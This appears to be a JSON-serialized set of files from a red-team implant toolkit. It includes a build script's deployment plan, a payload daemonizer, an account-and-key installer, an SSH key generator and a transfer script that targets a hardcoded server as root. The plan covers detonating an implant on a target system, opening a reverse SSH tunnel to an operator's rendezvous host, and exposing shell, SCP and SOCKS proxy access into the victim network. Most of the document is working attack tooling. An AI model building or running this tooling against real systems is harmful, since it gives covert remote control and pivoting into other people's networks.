${OUT_DIR}/${ImplantID}.info\n(Blue) Implant Egress HTTP Proxy Info\n    +HTTP Proxy:(from env?) ${HTTPProxyFromEnvironment}\n     HTTP Proxy: ${HTTPProxy}\n     HTTP Proxy AuthUser ${HTTPProxyAuthUser}\n     HTTP Proxy AuthPass ${HTTPProxyAuthPass+<masked>}\n\n(Blue) Implant Execution Context\n    Daemonize? ${Daemonize}\n    PIDFile: ${PIDFile}\n    LogFile (!! Debug locally !!): ${LogFile}\n    SSHEnvTerm ${SSHEnvTerm}\n    SSHShell ${SSHShell}\n\n(Yellow/Red) Implant HTTP/WS/WSS Wrap Endpoints\n    HTTP Endpoint: ${HTTPEndpoint}\n    WS Endpoint: ${WSEndpoint}\n\n(Yellow/Red) SSH Rendezvous Point:\n    SSHServerHost=${SSHServerHost}\n    SSHServerPort=${SSHServerPort}\n    SSHServerUser=${SSHServerUser}\n\n(Yellow/Red) SSH Key Hosting / Embedding:\n    +SSHServerUserKeyFile=${SSHServerUserKeyFile}.bpk\n    SSHServerUserKeyUrl=${SSHServerUserKeyUrl}\n    SSHServerUserKeyPassphrase=${SSHServerUserKeyPassphrase}\n\n(Red) RT Operator Interface to SSH Implant Channel:\n    SSHRemoteCmdHost=${SSHRemoteCmdHost}\n    SSHRemoteCmdPort=${SSHRemoteCmdPort}\n\n(Red) RT Operator SSH Tunnel Usage and Authentication Info\n    SSHRemoteCmdUser=${SSHRemoteCmdUser}\n    SSHRemoteCmdPwd=${SSHRemoteCmdPwd}\n\n(Red) RT Operator SOCKS Tunnel Usage Info:\n    SSHRemoteSocksHost=${SSHRemoteSocksHost}\n    SSHRemoteSocksPort=${SSHRemoteSocksPort}\nEND\n\nprintf \"%s\\n\\n\" \"-------------- END INFO----------------\"\necho \"[*] Packaging ${ImplantID} for infrastructure deployment \"\n\n# pushd/popd not always available\ncd  ${OUT_DIR}\ntar -cvzf ${ImplantID}.tar.gz ./${ImplantID}.{pk,bpk,pub}\ncd -\n\nprintf \"\\n\\n%s\\n\\n\" \"**********************************************\"\necho \"Based on your build profile you can expect the following Deployment Plan\"\nprintf \"%s\\n\\n\" \"**********************************************\"\n\nprintf \"\\n%s\\n\" \"### PHASE II: Red Infra Prep Deployment Guidance ###\"\nprintf \"%s\\n\\n\" \"----------------------------------------------------\"\ncat<<END\nA. If you have chosen to fetch armored SSH key from external Yellow/Red hosting, please host  ${SSHServerUserKeyFile}.bpk on your HTTP server. The key is encrypted, passworded and B64 protected. You can leave it on clear storage and use plaintext transmission. The implant will take care of the rest.\n\nB.You will need to create user ${SSHServerUser} on SSH server where you want Implant to terminate the reverse tunnel on Red network. Refer to scripts in infra directory. SSH keys for the would be user are pregenerated:  ${SSHServerUserKeyFile}.pk and  ${SSHServerUserKeyFile}.pub. You need to place them in .ssh directory as per usual SSH access setup (mind the permissions on keys and .ssh directory)\n\n A/B Note: For your convenience we have created a package ${OUT_DIR}/${ImplantID}.tar.gz containing SSH Keys (${ImplantID}.{pk,bpk,pub}). You can use tools/install_implant.sh to automate the steps.\n\nC. You will need to stand up an WSS unwrap service on Yellow/Red side. Refer to infra/wss2ssh_tun.sh script to help you with that.\nEND\n\nprintf \"\\n%s\\n\" \"### PHASE III: Blue Detonation and Connect back ###\"\nprintf \"%s\\n\\n\" \"---------------------------------------------------\"\ncat<<END\n\n    0. Get the Implant on the Blue system detonate.\n    1. Implant ${ImplantID} connects to WS Endpoint ${WSEndpoint}\n        which unwraps to SSH tunnel ${SSHServerHost}:${SSHServerPort} Red rendezvous\n\n    2. Implant authenticates to SSH rendezvous with RSA PK in ${SSHServerUserKeyFile}.pk wrapped for transmission as ${SSHServerUserKeyFile}.bpk as SSH/OS user ${SSHServerUser}\n\n    3. Once authenticated the Implant opens up reverse SSH tunnel to Blue network and also stands up two ports on the Red side for convenience:\n        - SSH command port ${SSHRemoteCmdPort}\n        - SOCKS ${SSHRemoteSocksPort} port used for proxying Red traffic over the channel to the implant to exit on Blue network\n\nEND\n\nprintf \"\\n%s\\n\" \"### PHASE IV: RTO Guidance ###\"\nprintf \"%s\\n\\n\" \"-----------------------------------------------\"\ncat<<END\nRTOs can connect to the new implant channel by connecting to Red rendezvous ports exposed by the implant on Red network.\n\nExamples:\n    For SSH interactive shell: ssh ${SSHRemoteCmdUser}@${SSHRemoteCmdHost} -p ${SSHRemoteCmdPort}\n    For SSH batch exec: ssh ${SSHRemoteCmdUser}@${SSHRemoteCmdHost} -p ${SSHRemoteCmdPort} /path/command/on/blue\n    For SCP: scp -P ${SSHRemoteCmdPort} /path/to/file/on/red  ${SSHRemoteCmdUser}@${SSHRemoteCmdHost}:/path/to/file/on/blue\"\n\nNote: To use SOCKS in browser point browser to ${SSHRemoteSocksHost}:${SSHRemoteSocksPort} or for system wide coverage use proxychains with the same configuration\nEND\nelse\n    printf \"    %s\\n\" \"Implant build unsuccessful\"\n    exit 3\nfi\n\nprintf \"%s\\n\" \"-----------------End Transmission -----------------\"\nprintf \"\\n%s\\n\" \"Good luck!\"\n\n\n# upx --brute ./rssh\n# 7.1 vs. 1.7 mb\n"
  },
  {
    "path": "tools/call_implant_daemon.py",
    "content": "#!/usr/bin/env python3\nimport sys\nimport os\nimport subprocess\nfrom ctypes import *\n\n\ndef irun(path_implant, itype):\n    print(\"In Mrun\")\n\n    if itype == \"bin\":\n        print(\"Bin\")\n        process = subprocess.Popen(\n            path_implant,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE)\n\n        process.wait()\n\n    if itype == \"lib\":\n        print(\"Lib\")\n        dll = cdll.LoadLibrary(path_implant)\n        res = dll.entry()\n\n\ndef daemonize(idir):\n\n    try:\n        pid = os.fork()\n        if pid > 0:\n            # exit first parent\n            sys.exit(0)\n    except OSError as err:\n        sys.stderr.write('fork #1 failed: {0}\\n'.format(err))\n        sys.exit(1)\n\n    # decouple from parent environment\n    os.chdir(idir)\n    os.setsid()\n    os.umask(0)\n\n    # do second fork\n    try:\n        pid = os.fork()\n        if pid > 0:\n\n            # exit from second parent\n            sys.exit(0)\n    except OSError as err:\n        sys.stderr.write('fork #2 failed: {0}\\n'.format(err))\n        sys.exit(1)\n\n    # redirect standard file descriptors\n    sys.stdout.flush()\n    sys.stderr.flush()\n    si = open(os.devnull, 'r')\n    so = open(os.devnull, 'a+')\n    se = open(os.devnull, 'a+')\n\n    os.dup2(si.fileno(), sys.stdin.fileno())\n    os.dup2(so.fileno(), sys.stdout.fileno())\n    os.dup2(se.fileno(), sys.stderr.fileno())\n\n\nif __name__ == '__main__':\n    # Start the daemon\n    if len(sys.argv) < 3:\n        print(\"Usage: <type> /full/path/to/payload\")\n        print(\"       type: bin|lib \")\n        sys.exit(1)\n\n    # preserve before daemonizing\n    itype = str(sys.argv[1])\n    ipath = str(os.path.abspath(sys.argv[2]))\n    daemonize(\"/tmp\")\n    irun(ipath, itype)\n\n\n"
  },
  {
    "path": "tools/install_implant.sh",
    "content": "#!/bin/bash\n\n#\n#\n# Build assumes Linux infra\n#\n#\n#\nusage(){\n   echo \"$0 /path/<implant>.tar.gz\"\n   exit 1\n}\n\nAGENT_PKG=\"\"\nAGENTID=\"\"\nAHOME_DIR=\"/tmp/\"\n\nif [[ $# -ne 1 ]]\nthen\n   usage\nfi\n\nif [[ -f $1 ]]\nthen\n   AGENT_PKG=$1\n   _t=$(/usr/bin/basename -- \"${AGENT_PKG}\")\n   AGENTID=\"${_t%.*.*}\"\nelse \n\tusage\nfi\n\necho \"[+] Checking if ${AGENTID} OS account is available\"\n/usr/bin/getent passwd $AGENTID >/dev/null\n\nif [[ $? -eq 0 ]]\nthen\n   echo \"User account is already present. Investigate. Halting\"\n   exit 3\nfi\n\necho \"[+] Creating ${AGENTID} OS account\"\nAHOME=\"${AHOME_DIR}/${AGENTID}\"\n\n/usr/sbin/useradd  -c ${AGENTID} -d ${AHOME} -m -N -s /bin/false ${AGENTID} \\\n\t-p $(dd if=/dev/urandom bs=1024 count=1 status=none | shasum | cut -c 1-31) # Throwaway password\n\nif [[ -d ${AHOME} ]]\nthen\n    cd  ${AHOME}\n\techo \"[+] Setting up ${AGENTID} HOME\"\n\tchmod 700 ${AHOME} \n\tmkdir ${AHOME}/.ssh && chown ${AGENTID} ${AHOME}/.ssh && chmod 700 ${AHOME}/.ssh\n\n\techo \"[+] Unpacking SSH Keys from ${AGENTID}.tar.gz\"\n    /bin/tar -xvzf ${AGENT_PKG} -C  ${AHOME}/.ssh\n\n\techo \"[+] Setting ${AGENTID} SSH keys\"\n\tchown ${AGENTID} ${AHOME}/.ssh/${AGENTID}.{pk,pub,bpk} && chmod 600 ${AHOME}/.ssh/${AGENTID}.{pk,pub,bpk}\n\n\techo \"[+] Adding PUBLIC Key ${AHOME}/.ssh/${AGENTID} to Agent's Authorized keys file\"\n\tcat ${AHOME}/.ssh/${AGENTID}.pub > ${AHOME}/.ssh/authorized_keys\n\tchown ${AGENTID} ${AHOME}/.ssh/authorized_keys\n\n\techo \"[+] Currently, content of ${AGENTID} 's HOME: \"\n\tls -ld ${AHOME}\n\tls -ld ${AHOME}/.ssh\n\tls -l ${AHOME}/.ssh/*\n\n    cd -\n\techo \"[!!!] If not embedding PK into implant, host armored PK: ${AHOME}/.ssh/${AGENTID}.bpk \"\nelse\n\techo \"No ${AHOME} found ?\"\nfi\n"
  },
  {
    "path": "tools/keygen.go",
    "content": "// Ideas from:\n// https://gist.githubusercontent.com/devinodaniel/8f9b8a4f31573f428f29ec0e884e6673/raw/d4d4495db6fcc6cce367c11a6f70ccfb65ba36a9/gistfile1.txt\n\n//\n// keygen.go -bits 4096  -pass \"hello\" -pkfile /tmp/agentx.pk -pkfile-b64 /tmp/agentx.bpk -pubfile /tmp/agentx.pub\npackage main\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/md5\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"encoding/pem\"\n\t\"flag\"\n\t\"fmt\"\n\t\"golang.org/x/crypto/ssh\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n)\n\nfunc main() {\n\n\n\tvar (\n\t\tpkFile string\n\t\tpkFileB64 string\n\t\tpubFile string\n\t\tpassphrase string\n\t\tbitSize *int\n\t)\n\n\tflag.StringVar(&pkFile, \"pkfile\", \"/dev/null\", \"PK file path\")\n\tflag.StringVar(&pubFile, \"pubfile\", \"/dev/null\", \"PUB file path\")\n\tflag.StringVar(&pkFileB64, \"pkfile-b64\", \"/dev/null\", \"PK B64 file path\")\n\tflag.StringVar(&passphrase, \"pass\", \"/dev/null\", \"Passphrase for PK\")\n\tbitSize = flag.Int(\"bits\", 4096, \"RSA bit size (default: 4096)\")\n\n\n\tflag.Parse()\n\n\tfmt.Printf(\"[+] Generating PK\\n\")\n\tprivateKey, err := generatePrivateKey(*bitSize)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\n\tfmt.Printf(\"[+] Generating PUB from PK (SSH pub)\\n\")\n\tpublicKeyBytes, err := generatePublicKey(&privateKey.PublicKey)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\n\tfmt.Printf(\"[+] Encoding PK to PEM\\n\")\n\tprivateKeyBytes := encodePrivateKeyToPEM(privateKey)\n\n\tfmt.Printf(\"[+] Writing PK to file: %s \\n\", pkFile)\n\terr = writeKeyToFile(privateKeyBytes, pkFile)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\n\tfmt.Printf(\"[+] Writing PUB to file: %s \\n\", pubFile)\n\terr = writeKeyToFile(publicKeyBytes, pubFile)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\n\tfmt.Printf(\"[+] Encrypting PK with passphrase (transmission/storage)\\n\")\n\t// PK to BIN\n\tciphertext := encBytes(privateKeyBytes, passphrase)\n\t// fmt.Printf(\"[*] PK (HEX) : [%x]... \\n\", ciphertext[:80])\n\n\t// BIN to B64\n\tfmt.Printf(\"[+] Encoding PK B64 armored PK (transmission)\\n\")\n\tciphertextB64 := base64.StdEncoding.EncodeToString([]byte(ciphertext))\n\t// fmt.Printf(\"[*] PK (B64) : [%s]... \\n\", ciphertextB64[:80])\n\n\t// Save PK to File\n\tfmt.Printf(\"[+] Saving B64 armored PK to file: %s\\n\", pkFileB64)\n\twriteKeyToFile([]byte(ciphertextB64), pkFileB64)\n}\n\n// generatePrivateKey creates a RSA Private Key of specified byte size\nfunc generatePrivateKey(bitSize int) (*rsa.PrivateKey, error) {\n\t// Private Key generation\n\tprivateKey, err := rsa.GenerateKey(rand.Reader, bitSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Validate Private Key\n\terr = privateKey.Validate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlog.Println(\"Private Key generated\")\n\treturn privateKey, nil\n}\n\n// encodePrivateKeyToPEM encodes Private Key from RSA to PEM format\nfunc encodePrivateKeyToPEM(privateKey *rsa.PrivateKey) []byte {\n\t// Get ASN.1 DER format\n\tprivDER := x509.MarshalPKCS1PrivateKey(privateKey)\n\n\t// pem.Block\n\tprivBlock := pem.Block{\n\t\tType:    \"RSA PRIVATE KEY\",\n\t\tHeaders: nil,\n\t\tBytes:   privDER,\n\t}\n\n\t// Private key in PEM format\n\tprivatePEM := pem.EncodeToMemory(&privBlock)\n\n\treturn privatePEM\n}\n\n// generatePublicKey takes a rsa.PublicKey and return bytes suitable for writing to .pub file\n// returns in the format \"ssh-rsa ...\"\nfunc generatePublicKey(privatekey *rsa.PublicKey) ([]byte, error) {\n\tpublicRsaKey, err := ssh.NewPublicKey(privatekey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpubKeyBytes := ssh.MarshalAuthorizedKey(publicRsaKey)\n\n\tlog.Println(\"Public key generated\")\n\treturn pubKeyBytes, nil\n}\n\n// writeKeyToFile writes keys to a file\nfunc writeKeyToFile(keyBytes []byte, saveFileTo string) error {\n\terr := ioutil.WriteFile(saveFileTo, keyBytes, 0600)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Printf(\"Key saved to: %s\", saveFileTo)\n\treturn nil\n}\n\n// strToHash hashes a string\nfunc strHash(key string) string {\n\thasher := md5.New()\n\thasher.Write([]byte(key))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}\n\n// encBytes encrypts data with passphrase\nfunc encBytes(data []byte, passphrase string) []byte {\n\tblock, _ := aes.NewCipher([]byte(strHash(passphrase)))\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\tpanic(err.Error())\n\t}\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext\n}\n\nfunc decBytes(data []byte, passphrase string) []byte {\n\tkey := []byte(strHash(passphrase))\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tnonceSize := gcm.NonceSize()\n\tnonce, ciphertext := data[:nonceSize], data[nonceSize:]\n\tplaintext, err := gcm.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\treturn plaintext\n}\n\nfunc encBinToFile(filename string, data []byte, passphrase string) {\n\tf, _ := os.Create(filename)\n\tdefer f.Close()\n\tf.Write(encBytes(data, passphrase))\n}\n\nfunc decBinFromFile(filename string, passphrase string) []byte {\n\tdata, _ := ioutil.ReadFile(filename)\n\treturn decBytes(data, passphrase)\n}\n"
  },
  {
    "path": "tools/test_deploy.sh",
    "content": "#!/usr/bin/env bash\n./tools/build_implant.sh  ./conf/build.profile\n./tools/transfer_implant_keys.sh  ./out/4fa48c653682c3b04add14f434a3114/4fa48c653682c3b04add14f434a3114.tar.gz\n#./tools/call_implant.py\n"
  },
  {
    "path": "tools/transfer_implant_keys.sh",
    "content": "#!/bin/bash\n\nusage(){\n   echo \"$1\"\n   echo \"$0 /path/<implant>.tar.gz\"\n   exit 1\n}\n\nif [[ $# -eq 0 ]]\nthen\n    usage \"need file\"\nfi\n\nif [[  -f  $1 ]]\nthen\n    source $1\nelse\n    usage $0 \"Cannot find implant data file\"\nfi\n\n\nIMPLANTFILE=$1\n_t=$(/usr/bin/basename -- \"$1\")\nIMPLANTID=\"${_t%.*.*}\"\nIHOST=167.99.88.24\nIUSER=root\nIDIR=\"/tmp\"\nINSTALL_SCRIPT=\"./tools/install_implant.sh\"\n\necho \"Copying ${IMPLANT_FILE} and ${INSTALL_SCRIPT} to ${IHOST}\"\nscp $IMPLANTFILE ${INSTALL_SCRIPT} ${IUSER}@${IHOST}:${IDIR}\n\necho \"Deleting remote user: ${IMPLANTID}\"\nssh -tt ${IUSER}@${IHOST} userdel -r ${IMPLANTID}\n\necho \"Installing: ${IMPLANTID}\"\nssh -tt ${IUSER}@${IHOST} ${IDIR}/install_implant.sh ${IDIR}/${IMPLANTID}.tar.gz\n\n"
  }
]